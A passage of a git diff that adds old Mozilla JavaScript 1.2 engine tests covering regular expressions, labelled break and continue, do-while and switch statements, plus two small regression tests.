+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: test';
+
+writeHeaderToLog('Executing script: test.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase ( SECTION,
+ "/[0-9]{3}/.test('23 2 34 678 9 09')",
+ true, /[0-9]{3}/.test('23 2 34 678 9 09'));
+
+new TestCase ( SECTION,
+ "/[0-9]{3}/.test('23 2 34 78 9 09')",
+ false, /[0-9]{3}/.test('23 2 34 78 9 09'));
+
+new TestCase ( SECTION,
+ "/\w+ \w+ \w+/.test('do a test')",
+ true, /\w+ \w+ \w+/.test("do a test"));
+
+new TestCase ( SECTION,
+ "/\w+ \w+ \w+/.test('a test')",
+ false, /\w+ \w+ \w+/.test("a test"));
+
+new TestCase ( SECTION,
+ "(new RegExp('[0-9]{3}')).test('23 2 34 678 9 09')",
+ true, (new RegExp('[0-9]{3}')).test('23 2 34 678 9 09'));
+
+new TestCase ( SECTION,
+ "(new RegExp('[0-9]{3}')).test('23 2 34 78 9 09')",
+ false, (new RegExp('[0-9]{3}')).test('23 2 34 78 9 09'));
+
+new TestCase ( SECTION,
+ "(new RegExp('\\\\w+ \\\\w+ \\\\w+')).test('do a test')",
+ true, (new RegExp('\\w+ \\w+ \\w+')).test("do a test"));
+
+new TestCase ( SECTION,
+ "(new RegExp('\\\\w+ \\\\w+ \\\\w+')).test('a test')",
+ false, (new RegExp('\\w+ \\w+ \\w+')).test("a test"));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/toString.js b/js/src/tests/js1_2/regexp/toString.js
new file mode 100644
index 000000000..e6b6cc883
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/toString.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: toString.js
+ Description: 'Tests RegExp method toString'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: toString';
+
+writeHeaderToLog('Executing script: toString.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+/*
+ * var re = new RegExp(); re.toString() For what to expect,
+ * see http://bugzilla.mozilla.org/show_bug.cgi?id=225343#c7
+ */
+var re = new RegExp();
+new TestCase ( SECTION, "var re = new RegExp(); re.toString()",
+ '/(?:)/', re.toString());
+
+// re = /.+/; re.toString();
+re = /.+/;
+new TestCase ( SECTION, "re = /.+/; re.toString()",
+ '/.+/', re.toString());
+
+// re = /test/gi; re.toString()
+re = /test/gi;
+new TestCase ( SECTION, "re = /test/gi; re.toString()",
+ '/test/gi', re.toString());
+
+// re = /test2/ig; re.toString()
+re = /test2/ig;
+new TestCase ( SECTION, "re = /test2/ig; re.toString()",
+ '/test2/gi', re.toString());
+
+test();
diff --git a/js/src/tests/js1_2/regexp/vertical_bar.js b/js/src/tests/js1_2/regexp/vertical_bar.js
new file mode 100644
index 000000000..636f1c9cf
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/vertical_bar.js
@@ -0,0 +1,64 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: vertical_bar.js
+ Description: 'Tests regular expressions containing |'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: |';
+
+writeHeaderToLog('Executing script: vertical_bar.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abc'.match(new RegExp('xyz|abc'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('xyz|abc'))",
+ String(["abc"]), String('abc'.match(new RegExp('xyz|abc'))));
+
+// 'this is a test'.match(new RegExp('quiz|exam|test|homework'))
+new TestCase ( SECTION, "'this is a test'.match(new RegExp('quiz|exam|test|homework'))",
+ String(["test"]), String('this is a test'.match(new RegExp('quiz|exam|test|homework'))));
+
+// 'abc'.match(new RegExp('xyz|...'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('xyz|...'))",
+ String(["abc"]), String('abc'.match(new RegExp('xyz|...'))));
+
+// 'abc'.match(new RegExp('(.)..|abc'))
+new TestCase ( SECTION, "'abc'.match(new RegExp('(.)..|abc'))",
+ String(["abc","a"]), String('abc'.match(new RegExp('(.)..|abc'))));
+
+// 'color: grey'.match(new RegExp('.+: gr(a|e)y'))
+new TestCase ( SECTION, "'color: grey'.match(new RegExp('.+: gr(a|e)y'))",
+ String(["color: grey","e"]), String('color: grey'.match(new RegExp('.+: gr(a|e)y'))));
+
+// 'no match'.match(new RegExp('red|white|blue'))
+new TestCase ( SECTION, "'no match'.match(new RegExp('red|white|blue'))",
+ null, 'no match'.match(new RegExp('red|white|blue')));
+
+// 'Hi Bob'.match(new RegExp('(Rob)|(Bob)|(Robert)|(Bobby)'))
+new TestCase ( SECTION, "'Hi Bob'.match(new RegExp('(Rob)|(Bob)|(Robert)|(Bobby)'))",
+ String(["Bob",undefined,"Bob", undefined, undefined]), String('Hi Bob'.match(new RegExp('(Rob)|(Bob)|(Robert)|(Bobby)'))));
+
+// 'abcdef'.match(new RegExp('abc|bcd|cde|def'))
+new TestCase ( SECTION, "'abcdef'.match(new RegExp('abc|bcd|cde|def'))",
+ String(["abc"]), String('abcdef'.match(new RegExp('abc|bcd|cde|def'))));
+
+// 'Hi Bob'.match(/(Rob)|(Bob)|(Robert)|(Bobby)/)
+new TestCase ( SECTION, "'Hi Bob'.match(/(Rob)|(Bob)|(Robert)|(Bobby)/)",
+ String(["Bob",undefined,"Bob", undefined, undefined]), String('Hi Bob'.match(/(Rob)|(Bob)|(Robert)|(Bobby)/)));
+
+// 'abcdef'.match(/abc|bcd|cde|def/)
+new TestCase ( SECTION, "'abcdef'.match(/abc|bcd|cde|def/)",
+ String(["abc"]), String('abcdef'.match(/abc|bcd|cde|def/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/whitespace.js b/js/src/tests/js1_2/regexp/whitespace.js
new file mode 100644
index 000000000..ab99b59d5
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/whitespace.js
@@ -0,0 +1,91 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: whitespace.js
+ Description: 'Tests regular expressions containing \f\n\r\t\v\s\S\ '
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \\f\\n\\r\\t\\v\\s\\S ';
+
+writeHeaderToLog('Executing script: whitespace.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var non_whitespace = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`!@#$%^&*()-+={[}]|\\:;'<,>./?1234567890" + '"';
+var whitespace = "\f\n\r\t\v ";
+
+// be sure all whitespace is matched by \s
+new TestCase ( SECTION,
+ "'" + whitespace + "'.match(new RegExp('\\s+'))",
+ String([whitespace]), String(whitespace.match(new RegExp('\\s+'))));
+
+// be sure all non-whitespace is matched by \S
+new TestCase ( SECTION,
+ "'" + non_whitespace + "'.match(new RegExp('\\S+'))",
+ String([non_whitespace]), String(non_whitespace.match(new RegExp('\\S+'))));
+
+// be sure all non-whitespace is not matched by \s
+new TestCase ( SECTION,
+ "'" + non_whitespace + "'.match(new RegExp('\\s'))",
+ null, non_whitespace.match(new RegExp('\\s')));
+
+// be sure all whitespace is not matched by \S
+new TestCase ( SECTION,
+ "'" + whitespace + "'.match(new RegExp('\\S'))",
+ null, whitespace.match(new RegExp('\\S')));
+
+var s = non_whitespace + whitespace;
+
+// be sure all digits are matched by \s
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\s+'))",
+ String([whitespace]), String(s.match(new RegExp('\\s+'))));
+
+s = whitespace + non_whitespace;
+
+// be sure all non-whitespace are matched by \S
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\S+'))",
+ String([non_whitespace]), String(s.match(new RegExp('\\S+'))));
+
+// '1233345find me345'.match(new RegExp('[a-z\\s][a-z\\s]+'))
+new TestCase ( SECTION, "'1233345find me345'.match(new RegExp('[a-z\\s][a-z\\s]+'))",
+ String(["find me"]), String('1233345find me345'.match(new RegExp('[a-z\\s][a-z\\s]+'))));
+
+var i;
+
+// be sure all whitespace characters match individually
+for (i = 0; i < whitespace.length; ++i)
+{
+ s = 'ab' + whitespace[i] + 'cd';
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\\\s'))",
+ String([whitespace[i]]), String(s.match(new RegExp('\\s'))));
+ new TestCase ( SECTION,
+ "'" + s + "'.match(/\s/)",
+ String([whitespace[i]]), String(s.match(/\s/)));
+}
+// be sure all non_whitespace characters match individually
+for (i = 0; i < non_whitespace.length; ++i)
+{
+ s = ' ' + non_whitespace[i] + ' ';
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\\\S'))",
+ String([non_whitespace[i]]), String(s.match(new RegExp('\\S'))));
+ new TestCase ( SECTION,
+ "'" + s + "'.match(/\S/)",
+ String([non_whitespace[i]]), String(s.match(/\S/)));
+}
+
+
+test();
diff --git a/js/src/tests/js1_2/regexp/word_boundary.js b/js/src/tests/js1_2/regexp/word_boundary.js
new file mode 100644
index 000000000..ca96081f8
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/word_boundary.js
@@ -0,0 +1,87 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: word_boundary.js
+ Description: 'Tests regular expressions containing \b and \B'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: \\b and \\B';
+
+writeHeaderToLog('Executing script: word_boundary.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'cowboy boyish boy'.match(new RegExp('\bboy\b'))
+new TestCase ( SECTION, "'cowboy boyish boy'.match(new RegExp('\\bboy\\b'))",
+ String(["boy"]), String('cowboy boyish boy'.match(new RegExp('\\bboy\\b'))));
+
+var boundary_characters = "\f\n\r\t\v~`!@#$%^&*()-+={[}]|\\:;'<,>./? " + '"';
+var non_boundary_characters = '1234567890_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
+var s = '';
+var i;
+
+// testing whether all boundary characters are matched when they should be
+for (i = 0; i < boundary_characters.length; ++i)
+{
+ s = '123ab' + boundary_characters.charAt(i) + '123c' + boundary_characters.charAt(i);
+
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\b123[a-z]\\b'))",
+ String(["123c"]), String(s.match(new RegExp('\\b123[a-z]\\b'))));
+}
+
+// testing whether all non-boundary characters are matched when they should be
+for (i = 0; i < non_boundary_characters.length; ++i)
+{
+ s = '123ab' + non_boundary_characters.charAt(i) + '123c' + non_boundary_characters.charAt(i);
+
+ new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\B123[a-z]\\B'))",
+ String(["123c"]), String(s.match(new RegExp('\\B123[a-z]\\B'))));
+}
+
+s = '';
+
+// testing whether all boundary characters are not matched when they should not be
+for (i = 0; i < boundary_characters.length; ++i)
+{
+ s += boundary_characters[i] + "a" + i + "b";
+}
+s += "xa1111bx";
+
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\Ba\\d+b\\B'))",
+ String(["a1111b"]), String(s.match(new RegExp('\\Ba\\d+b\\B'))));
+
+new TestCase ( SECTION,
+ "'" + s + "'.match(/\\Ba\\d+b\\B/)",
+ String(["a1111b"]), String(s.match(/\Ba\d+b\B/)));
+
+s = '';
+
+// testing whether all non-boundary characters are not matched when they should not be
+for (i = 0; i < non_boundary_characters.length; ++i)
+{
+ s += non_boundary_characters[i] + "a" + i + "b";
+}
+s += "(a1111b)";
+
+new TestCase ( SECTION,
+ "'" + s + "'.match(new RegExp('\\ba\\d+b\\b'))",
+ String(["a1111b"]), String(s.match(new RegExp('\\ba\\d+b\\b'))));
+
+new TestCase ( SECTION,
+ "'" + s + "'.match(/\\ba\\d+b\\b/)",
+ String(["a1111b"]), String(s.match(/\ba\d+b\b/)));
+
+test();
diff --git a/js/src/tests/js1_2/regress/browser.js b/js/src/tests/js1_2/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/regress/browser.js
diff --git a/js/src/tests/js1_2/regress/regress-144834.js b/js/src/tests/js1_2/regress/regress-144834.js
new file mode 100644
index 000000000..1db9babaf
--- /dev/null
+++ b/js/src/tests/js1_2/regress/regress-144834.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 July 2002
+ * SUMMARY: Testing local var having same name as switch label inside function
+ *
+ * The code below crashed while compiling in JS1.1 or JS1.2
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=144834
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 144834;
+var summary = 'Local var having same name as switch label inside function';
+
+print(BUGNUMBER);
+print(summary);
+
+
+function RedrawSched()
+{
+ var MinBound;
+
+ switch (i)
+ {
+ case MinBound :
+ }
+}
+
+
+/*
+ * Also try eval scope -
+ */
+var s = '';
+s += 'function RedrawSched()';
+s += '{';
+s += ' var MinBound;';
+s += '';
+s += ' switch (i)';
+s += ' {';
+s += ' case MinBound :';
+s += ' }';
+s += '}';
+eval(s);
+
+AddTestCase('Do not crash', 'No Crash', 'No Crash');
+test();
diff --git a/js/src/tests/js1_2/regress/regress-7703.js b/js/src/tests/js1_2/regress/regress-7703.js
new file mode 100644
index 000000000..1ea5a34d5
--- /dev/null
+++ b/js/src/tests/js1_2/regress/regress-7703.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+
+/**
+ * File Name: regress-7703.js
+ * Reference: "http://bugzilla.mozilla.org/show_bug.cgi?id=7703";
+ * Description: See the text of the bugnumber above
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var VERSION = "JS1_2"; // Version of JavaScript or ECMA
+var TITLE = "Regression test for bugzilla # 7703"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=7703"; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+types = [];
+function inspect(object) {
+ for (prop in object) {
+ var x = object[prop];
+ types[types.length] = (typeof x);
+ }
+}
+
+var o = {a: 1, b: 2};
+inspect(o);
+
+AddTestCase( "inspect(o),length", 2, types.length );
+AddTestCase( "inspect(o)[0]", "number", types[0] );
+AddTestCase( "inspect(o)[1]", "number", types[1] );
+
+types_2 = [];
+
+function inspect_again(object) {
+ for (prop in object) {
+ types_2[types_2.length] = (typeof object[prop]);
+ }
+}
+
+inspect_again(o);
+AddTestCase( "inspect_again(o),length", 2, types.length );
+AddTestCase( "inspect_again(o)[0]", "number", types[0] );
+AddTestCase( "inspect_again(o)[1]", "number", types[1] );
+
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/js1_2/regress/shell.js b/js/src/tests/js1_2/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/regress/shell.js
diff --git a/js/src/tests/js1_2/shell.js b/js/src/tests/js1_2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/shell.js
diff --git a/js/src/tests/js1_2/statements/break.js b/js/src/tests/js1_2/statements/break.js
new file mode 100644
index 000000000..77c4983d0
--- /dev/null
+++ b/js/src/tests/js1_2/statements/break.js
@@ -0,0 +1,130 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: break.js
+ Description: 'Tests the break statement'
+
+ Author: Nick Lerissa
+ Date: March 18, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'statements: break';
+
+writeHeaderToLog("Executing script: break.js");
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var i,j;
+
+for (i = 0; i < 1000; i++)
+{
+ if (i == 100) break;
+}
+
+// 'breaking out of "for" loop'
+new TestCase ( SECTION, 'breaking out of "for" loop',
+ 100, i);
+
+j = 2000;
+
+out1:
+for (i = 0; i < 1000; i++)
+{
+ if (i == 100)
+ {
+ out2:
+ for (j = 0; j < 1000; j++)
+ {
+ if (j == 500) break out1;
+ }
+ j = 2001;
+ }
+ j = 2002;
+}
+
+// 'breaking out of a "for" loop with a "label"'
+new TestCase ( SECTION, 'breaking out of a "for" loop with a "label"',
+ 500, j);
+
+i = 0;
+
+while (i < 1000)
+{
+ if (i == 100) break;
+ i++;
+}
+
+// 'breaking out of a "while" loop'
+new TestCase ( SECTION, 'breaking out of a "while" loop',
+ 100, i );
+
+
+j = 2000;
+i = 0;
+
+out3:
+while (i < 1000)
+{
+ if (i == 100)
+ {
+ j = 0;
+ out4:
+ while (j < 1000)
+ {
+ if (j == 500) break out3;
+ j++;
+ }
+ j = 2001;
+ }
+ j = 2002;
+ i++;
+}
+
+// 'breaking out of a "while" loop with a "label"'
+new TestCase ( SECTION, 'breaking out of a "while" loop with a "label"',
+ 500, j);
+
+i = 0;
+
+do
+{
+ if (i == 100) break;
+ i++;
+} while (i < 1000);
+
+// 'breaking out of a "do" loop'
+new TestCase ( SECTION, 'breaking out of a "do" loop',
+ 100, i );
+
+j = 2000;
+i = 0;
+
+out5:
+do
+{
+ if (i == 100)
+ {
+ j = 0;
+ out6:
+ do
+ {
+ if (j == 500) break out5;
+ j++;
+ }while (j < 1000);
+ j = 2001;
+ }
+ j = 2002;
+ i++;
+}while (i < 1000);
+
+// 'breaking out of a "do" loop with a "label"'
+new TestCase ( SECTION, 'breaking out of a "do" loop with a "label"',
+ 500, j);
+
+test();
diff --git a/js/src/tests/js1_2/statements/browser.js b/js/src/tests/js1_2/statements/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/statements/browser.js
diff --git a/js/src/tests/js1_2/statements/continue.js b/js/src/tests/js1_2/statements/continue.js
new file mode 100644
index 000000000..0017ba88d
--- /dev/null
+++ b/js/src/tests/js1_2/statements/continue.js
@@ -0,0 +1,143 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: continue.js
+ Description: 'Tests the continue statement'
+
+ Author: Nick Lerissa
+ Date: March 18, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'statements: continue';
+
+writeHeaderToLog("Executing script: continue.js");
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var i,j;
+
+j = 0;
+for (i = 0; i < 200; i++)
+{
+ if (i == 100)
+ continue;
+ j++;
+}
+
+// '"continue" in a "for" loop'
+new TestCase ( SECTION, '"continue" in "for" loop',
+ 199, j);
+
+
+j = 0;
+out1:
+for (i = 0; i < 1000; i++)
+{
+ if (i == 100)
+ {
+ out2:
+ for (var k = 0; k < 1000; k++)
+ {
+ if (k == 500) continue out1;
+ }
+ j = 3000;
+ }
+ j++;
+}
+
+// '"continue" in a "for" loop with a "label"'
+new TestCase ( SECTION, '"continue" in "for" loop with a "label"',
+ 999, j);
+
+i = 0;
+j = 1;
+
+while (i != j)
+{
+ i++;
+ if (i == 100) continue;
+ j++;
+}
+
+// '"continue" in a "while" loop'
+new TestCase ( SECTION, '"continue" in a "while" loop',
+ 100, j );
+
+j = 0;
+i = 0;
+out3:
+while (i < 1000)
+{
+ if (i == 100)
+ {
+ var k = 0;
+ out4:
+ while (k < 1000)
+ {
+ if (k == 500)
+ {
+ i++;
+ continue out3;
+ }
+ k++;
+ }
+ j = 3000;
+ }
+ j++;
+ i++;
+}
+
+// '"continue" in a "while" loop with a "label"'
+new TestCase ( SECTION, '"continue" in a "while" loop with a "label"',
+ 999, j);
+
+i = 0;
+j = 1;
+
+do
+{
+ i++;
+ if (i == 100) continue;
+ j++;
+} while (i != j);
+
+
+// '"continue" in a "do" loop'
+new TestCase ( SECTION, '"continue" in a "do" loop',
+ 100, j );
+
+j = 0;
+i = 0;
+out5:
+do
+{
+ if (i == 100)
+ {
+ var k = 0;
+ out6:
+ do
+ {
+ if (k == 500)
+ {
+ i++;
+ continue out5;
+ }
+ k++;
+ }while (k < 1000);
+ j = 3000;
+ }
+ j++;
+ i++;
+}while (i < 1000);
+
+// '"continue" in a "do" loop with a "label"'
+new TestCase ( SECTION, '"continue" in a "do" loop with a "label"',
+ 999, j);
+
+test();
diff --git a/js/src/tests/js1_2/statements/do_while.js b/js/src/tests/js1_2/statements/do_while.js
new file mode 100644
index 000000000..90ad5117e
--- /dev/null
+++ b/js/src/tests/js1_2/statements/do_while.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: do_while.js
+ Description: 'This tests the new do_while loop'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'statements: do_while';
+
+writeHeaderToLog('Executing script: do_while.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var done = false;
+var x = 0;
+do
+{
+ if (x++ == 3) done = true;
+} while (!done);
+
+new TestCase( SECTION, "do_while ",
+ 4, x);
+
+//load('d:/javascript/tests/output/statements/do_while.js')
+test();
+
diff --git a/js/src/tests/js1_2/statements/shell.js b/js/src/tests/js1_2/statements/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/statements/shell.js
diff --git a/js/src/tests/js1_2/statements/switch.js b/js/src/tests/js1_2/statements/switch.js
new file mode 100644
index 000000000..c7d3548de
--- /dev/null
+++ b/js/src/tests/js1_2/statements/switch.js
@@ -0,0 +1,96 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: switch.js
+ Description: 'Tests the switch statement'
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=323696
+
+ Author: Nick Lerissa
+ Date: March 19, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'statements: switch';
+var BUGNUMBER="323696";
+
+startTest();
+writeHeaderToLog("Executing script: switch.js");
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var var1 = "match string";
+var match1 = false;
+var match2 = false;
+var match3 = false;
+
+switch (var1)
+{
+case "match string":
+ match1 = true;
+case "bad string 1":
+ match2 = true;
+ break;
+case "bad string 2":
+ match3 = true;
+}
+
+new TestCase ( SECTION, 'switch statement',
+ true, match1);
+
+new TestCase ( SECTION, 'switch statement',
+ true, match2);
+
+new TestCase ( SECTION, 'switch statement',
+ false, match3);
+
+var var2 = 3;
+
+var match1 = false;
+var match2 = false;
+var match3 = false;
+var match4 = false;
+var match5 = false;
+
+switch (var2)
+{
+case 1:
+/* switch (var1)
+ {
+ case "foo":
+ match1 = true;
+ break;
+ case 3:
+ match2 = true;
+ break;
+ }*/
+ match3 = true;
+ break;
+case 2:
+ match4 = true;
+ break;
+case 3:
+ match5 = true;
+ break;
+}
+new TestCase ( SECTION, 'switch statement',
+ false, match1);
+
+new TestCase ( SECTION, 'switch statement',
+ false, match2);
+
+new TestCase ( SECTION, 'switch statement',
+ false, match3);
+
+new TestCase ( SECTION, 'switch statement',
+ false, match4);
+
+new TestCase ( SECTION, 'switch statement',
+ true, match5);
+
+test();
diff --git a/js/src/tests/js1_2/statements/switch2.js b/js/src/tests/js1_2/statements/switch2.js
new file mode 100644
index 000000000..86b2251fa
--- /dev/null
+++ b/js/src/tests/js1_2/statements/switch2.js
@@ -0,0 +1,158 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: switch2.js
+ Description: 'Tests the switch statement'
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=323696
+
+ Author: Norris Boyd
+ Date: July 31, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'statements: switch';
+var BUGNUMBER="323626";
+
+startTest();
+writeHeaderToLog("Executing script: switch2.js");
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// test defaults not at the end; regression test for a bug that
+// nearly made it into 4.06
+function f0(i) {
+ switch(i) {
+ default:
+ case "a":
+ case "b":
+ return "ab*"
+ case "c":
+ return "c";
+ case "d":
+ return "d";
+ }
+ return "";
+}
+new TestCase(SECTION, 'switch statement',
+ f0("a"), "ab*");
+
+new TestCase(SECTION, 'switch statement',
+ f0("b"), "ab*");
+
+new TestCase(SECTION, 'switch statement',
+ f0("*"), "ab*");
+
+new TestCase(SECTION, 'switch statement',
+ f0("c"), "c");
+
+new TestCase(SECTION, 'switch statement',
+ f0("d"), "d");
+
+function f1(i) {
+ switch(i) {
+ case "a":
+ case "b":
+ default:
+ return "ab*"
+ case "c":
+ return "c";
+ case "d":
+ return "d";
+ }
+ return "";
+}
+
+new TestCase(SECTION, 'switch statement',
+ f1("a"), "ab*");
+
+new TestCase(SECTION, 'switch statement',
+ f1("b"), "ab*");
+
+new TestCase(SECTION, 'switch statement',
+ f1("*"), "ab*");
+
+new TestCase(SECTION, 'switch statement',
+ f1("c"), "c");
+
+new TestCase(SECTION, 'switch statement',
+ f1("d"), "d");
+
+// Switch on integer; will use TABLESWITCH opcode in C engine
+function f2(i) {
+ switch (i) {
+ case 0:
+ case 1:
+ return 1;
+ case 2:
+ return 2;
+ }
+ // with no default, control will fall through
+ return 3;
+}
+
+new TestCase(SECTION, 'switch statement',
+ f2(0), 1);
+
+new TestCase(SECTION, 'switch statement',
+ f2(1), 1);
+
+new TestCase(SECTION, 'switch statement',
+ f2(2), 2);
+
+new TestCase(SECTION, 'switch statement',
+ f2(3), 3);
+
+// empty switch: make sure expression is evaluated
+var se = 0;
+switch (se = 1) {
+}
+new TestCase(SECTION, 'switch statement',
+ se, 1);
+
+// only default
+se = 0;
+switch (se) {
+default:
+ se = 1;
+}
+new TestCase(SECTION, 'switch statement',
+ se, 1);
+
+// in loop, break should only break out of switch
+se = 0;
+for (var i=0; i < 2; i++) {
+ switch (i) {
+ case 0:
+ case 1:
+ break;
+ }
+ se = 1;
+}
+new TestCase(SECTION, 'switch statement',
+ se, 1);
+
+// test "fall through"
+se = 0;
+i = 0;
+switch (i) {
+case 0:
+ se++;
+ /* fall through */
+case 1:
+ se++;
+ break;
+}
+new TestCase(SECTION, 'switch statement',
+ se, 2);
+print("hi");
+
+test();
+
